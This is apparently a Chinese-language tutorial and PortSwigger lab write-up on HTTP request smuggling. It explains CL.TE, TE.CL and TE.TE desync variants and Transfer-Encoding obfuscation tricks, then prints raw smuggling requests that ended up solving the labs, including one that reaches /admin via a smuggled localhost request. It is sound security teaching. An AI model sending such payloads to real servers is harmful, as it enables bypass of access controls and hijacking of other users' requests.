HTTP 请求走私
HTTP 请求走私
漏洞成因
HTTP 请求走私攻击,就是像走私一样在一个 HTTP 请求包中夹带另一个或者多个 HTTP 请求包,常发生于 HTTP/1.1 中
在现代网络中,用户和应用服务器之间一般不会直接连接,而是通过反向代理进行转发到服务器
典型的架构是:用户 –> 前端服务器(Front-end)–> 后端服务器(Back-end)

为了提高性能,前后端服务器一般会使用 HTTP Keep-Alive,多个 HTTP 请求复用同一个 TCP 连接依次发送
漏洞产生点就在这里,如果前后端服务器对一个请求在哪里结束和下一个请求在哪里开始的判断标准不一致,攻击者就可以让前端认为是一个请求,但是后端却认为是两个请求,这里就走私了数据
HTTP 请求头
要利用这个漏洞,就得关注两个请求头
Content-Length (CL)
这个是直接指定 HTTP 消息体的字节长度,结束条件为读取完指定的字节数
- CL 计算长度需要计算上
\r\n的两个字节
Transfer-Encoding (TE)
用来指定使用分块编码,这个协议不知道数据的总长度,但是将数据分块传输的,每发一快,就告诉这一块有多大
什么是分块呢,每一个由 CRLF 也就是 \r\n 截断的就是一块
[分块长度的十六进制数] + \r\n
[这一块的具体内容] + \r\n
结束标识
0\r\n
\r\n
- TE 计算长度并不需要计算最后的
\r\n - 按照 rfc 规范,当这个请求头一起出现时,CL 将被忽略
请求走私类型
HTTP 请求走私的类型主要根据前后端对 Content-Length (CL) 和 Transfer-Encoding (TE) 的优先级的处理差异导致的,一般按照 前端处理方式 . 后端处理方式 来命名
- 这里的攻击都可以加上一个
Connection: close来表示结束了,告诉服务器不需要继续等待了
CL.TE 攻击
攻击场景:前端服务器只认 CL,而后端服务器支持并优先使用 TE
payload 示例
(正确的格式这里的 \r\n 是不应该写出来的,因为这里已经有一个换行了,但是为了好看这里还是写上了,后面都一样)
POST / HTTP/1.1
Host: example.com
Content-Length: 10
Transfer-Encoding: chunked
0\r\n
\r\n
Marin
在前端来看,这里 Content-Length: 10 刚好 payload 长度是 10,前端就会认为没有问题
但是后端用 TE 头来处理的时候,发现了结束的标识,就认为这个请求包已经结束了,多处来的 marin,就会被认为是下一个包的开始
下一个包就会变成这样,就会导致下一个包的数据 400 或 403
marinPOST / HTTP/1.1
……
通过这个性质,我们更进一步发送下面的 payload
POST / HTTP/1.1
Host: example.com
Content-Length: 32
Transfer-Encoding: chunked
0\r\n
\r\n
GET /admin HTTP/1.1\r\nFoo: x
这个数据拼接到下一个请求中,最后没有加换行,就将原本的请求完全吃掉了,变成我们期望的请求,这样可以利用受害者的 cookie 完成越权访问,
GET /admin HTTP/1.1
Foo: xGET /home HTTP/1.1
……
TE.CL 攻击
攻击场景:前端服务器支持并优先使用 TE,后端只认 CL
payload 示例
POST / HTTP/1.1
Host: example.com
Content-Length: 3
Transfer-Encoding: chunked
5\r\n
Marin\r\n
0\r\n
\r\n
前端服务器依照 TE 来读取,第一个块字节长度是 5,然后读到结束标识,这个请求没有问题,成功放行到后端
后端处理的时候,只读到了 CL 指示的 3 的长度,也就是 5\r\n 后面的数据就被截断了,但是这里比较尴尬的是结束标识也同样被留到下一个请求包中
所以这里需要构造完整的请求包来让后续执行我们恶意的请求,或者直接就是让请求 400
POST / HTTP/1.1
Host: example.com
Content-Length: 4
Transfer-Encoding: chunked
5c\r\n
GPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n
TE.TE 攻击
攻击场景:前后端都支持 TE,但是对请求的解析有差异
核心原理:攻击者发送一个写的有点不规范的 TE 请求头,一个解析容错性强的就认为这个确实是 TE,另一个解析比较严谨的,认为这就不是 TE,我不认可,还是读 CL 吧
所以这里 payload 的关键其实是处理什么 TE 头能够让一个服务器处理,另一个服务器忽略,然后判断出是哪一个忽略了,走回上两个攻击的形式
POST / HTTP/1.1
Host: example.com
Content-Length: 13
Transfer-Encoding: chunked
Transfer-Encoding: cow
……
双重 Header
可能有的服务器优先解析第一个,有的优先解析第二个,第二个非法就忽略了所有 TE 头Transfer-Encoding: chunked Transfer-Encoding: cow空格混淆
在 TE 头冒号前加一个空格
或者是在最开头加一个空格Transfer-Encoding : chunked Transfer-Encoding: chunked换行混淆
在 TE 头后面加一个换行Transfer-Encoding: chunked制表符混淆
用制表符代替空格Transfer-Encoding:[tab]chunked内容混淆
添加chunked关键字时,添加一个字母,看服务器是精准匹配还是模糊匹配Transfer-Encoding: xchunked结构注入
这里利用的是 HTTP 处理换行符的不同X: X[\n]Transfer-Encoding: chunked假设有的服务器认为这个
\n 不算换行符,那这里就只是 X 头,但是如果服务器将这个和\r\n都视为换行符,那这里就会被识别为X: X Transfer-Encoding: chunked
CL.CL 攻击
这个就算不那么常见的了(也很难写成这样
攻击场景:前后端都支持 CL
这里利用是传两个 CL 头,RFC 有规定,如果出现两个 CL 头,就要报 400,这里就是测试服务器有没有严格实现
CL 不为 0 的 GET 请求
这个也是规范问题,就是前端服务器允许了 GET 请求可以带请求体,并且设置了 CL 头,但是后端忽略了 CL 头,导致请求体走私了
靶场
这个是 burp 的实验室,这里就尝试打一下
CL.TE 基本漏洞
几个包翻了一下,可以发现只有主页面的请求是用的 HTTP/1.1 协议,虽然返回的是 HTTP/2

这里也是神秘的(,自己发的时候就会变成 HTTP/2 ,需要手动修改

这里也很简单,这个包发两次就行
POST / HTTP/1.1
Host: 0ad800c7045fa8a780589e7a001000b9.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
Transfer-Encoding: chunked
0
G

TE.CL 基本漏洞
这个和上面一样,只是要数长度,这里可以使用拓展

就能自动转成需要的拓展
POST / HTTP/1.1
Host: 0aaf00ed03b57ae780d63f6400df000e.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5d
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
这里有一个关键就是 Content-Length: 15 长度,明明这里才 3,为什么需要 15,因为这里是为将下一个请求的请求头给包裹到这个请求的 POST 中 GET / HTTP/1.1 的长度就是 12,刚好被消化掉
通过差异响应确认 CL.TE 漏洞
POST / HTTP/1.1
Host: 0a39004c03757ad680ea496e004a0064.web-security-academy.net
Cookie: session=gRi8G38F8Z3oIpOfB4ueLn9DCPQ8dh9q
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
Foo:x
通过差异响应确认 TE.CL 漏洞
POST / HTTP/1.1
Host: 0aac00a50356381881f025a900950062.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
x=1
0
CL.TE 漏洞绕过前端安全控制
发送两次发现需要 local 才行
POST / HTTP/1.1
Host: 0a5f00b904b0b3e08096947d00410050.web-security-academy.net
Cookie: session=xmGY4Yyh9zfxxyTnlUOTkpW4wGzu82Z8
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Foo: x

修改之后发现有两个标头导致出问题了

那就利用 post 的方法将所有的都化为请求体
POST / HTTP/1.1
Host: 0a5f00b904b0b3e08096947d00410050.web-security-academy.net
Cookie: session=xmGY4Yyh9zfxxyTnlUOTkpW4wGzu82Z8
Content-Type: application/x-www-form-urlencoded
Content-Length: 69
Transfer-Encoding: chunked
0
POST /admin HTTP/1.1
Host: localhost
Content-Length: 55
x=1

题目要求将 carlos 删除,访问对应 api 就行
参考: